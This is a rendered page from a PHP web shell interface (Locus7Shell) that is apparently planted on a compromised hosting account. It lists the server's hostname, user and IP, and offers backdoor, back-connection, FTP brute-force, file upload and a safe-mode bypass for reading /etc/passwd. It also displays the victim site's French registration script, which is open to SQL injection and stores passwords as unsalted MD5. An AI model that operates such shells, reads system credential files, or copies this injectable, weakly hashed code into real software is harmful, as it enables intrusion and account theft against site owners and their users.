Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     inscription.php (3.81 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
echo "<h1>Inscription</h1>";

if (isset(
$_POST['submit']))
{
$submit $_POST['submit'];

//données formulaire
$email strip_tags($_POST['email']);
$pseudo strtolower(strip_tags($_POST['pseudo']));
$password strip_tags($_POST['password']);
$repassword strip_tags($_POST['repassword']);
$date date("Y-m-d");
}

if (isset(
$submit))
{
//connection à la database
include ("connect.php");

   
$namecheck mysql_query("SELECT pseudo FROM users WHERE pseudo='$pseudo'");
   
   
$count mysql_num_rows($namecheck);
         if (
$count!=0)
          {
          die(
"Le pseudo existe déja");
      }

//verification de l'existance des données
if ($pseudo&&$email&&$password&&$repassword)
   {
     
//verification mot de pass (taille)
  
      
if  ((strlen($password)>25||strlen($password)<6)&&(strlen($password)>25||strlen($password)<6))
        {
         echo 
"Le mot de passe doit être entre 6 et 25 caractères"
        }
         else
        {
        
//cryptage du mot de passe
        
$password md5($password);
        
$repassword md5($repassword);

           if (
$password==$repassword)
             {
              
//verifier la longueur des élèment entré
                  
if  (strlen($pseudo)>20||strlen($email)>50)
                     {
                      echo 
"Le pseudo ou l'email est trop long. Maximun: 25 lettres pour le pseudo, 50 lettres pour l'email";
                     }
                      else
                     {

                      
// Generateur de code d'activation
                      
$random rand(23456789,98765432);

                      
$query mysql_query("
                      
                      INSERT INTO users VALUES ('','','','','','','France','
$email','En attente...','','','$password','Client','$pseudo','$date','$random','0','avatars/avatar.jpg')
                      "
);
                      
                      
$lastid mysql_insert_id();
                      
                      
//envoyer un email d'activation
                      
$to $email;
                      
$subject "Activation de votre compte!";
                      
$headers "From: xxxxx@xxxxxx.com";    // A changer ABSOLUMENT!!
                      
$server =  "xxxxxxxxxx.fr";       // voir egalement se qu'il faut mettre ici grace à ma page de contact déja créé
                      
ini_set("SMTP",$server);          // voir egalement se qu'il faut mettre ici grace à ma page de contact déja créé
                      
                      
                      
$body "
                      
                      Bonjour 
$pseudo, \n\n
                      
                      Pour activer votre compte cliquer ici:
                      http://localhost/ac-evenement/index.php?page=activation&id=
$lastid&code=$random\n\n
                      
                      Merci.
                      
                      
                      "
;
                      
                      
// fonction pour envoyer l'email
                     // mail($to, $subject, $body, $headers);

                      
                      
                      
echo ("Enregistrement réussi! Vous allez recevoir un email d'activation dans votre boite email!");
                      
                      
                     }
  
             }
              else 
               echo 
"Le mot de passe répété n'est pas le même!";
          }
    }
     else
       echo 
"Remplissez <b>tous</b> les champs";

}

?>
<html>
<p>
<form action='index.php?page=inscription' method='POST'>
    <table>
          <tr>
               <td>
               Choisissez votre Pseudo:
               </td>
               <td>
               <input type='text' name='pseudo' value='<?php if (isset($pseudo)) echo $pseudo?>'>
               </td>
          </tr>
          <tr>
               <td>
               Mot de passe:
               </td>
               <td>
               <input type='password' name='password'>
               </td>
          </tr>
          <tr>
               <td>
               Confirmer votre Mot de passe:
               </td>
               <td>
               <input type='password' name='repassword'>
               </td>
          </tr>
          <tr>
               <td>
               Email:
               </td>
               <td>
               <input type='text' name='email' value='<?php if (isset($email)) echo $email?>'>
               </td>
          </tr>
         </table>
         <p>
         <input type='submit' name='submit' value='Valider'>

</form>

</html>




Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--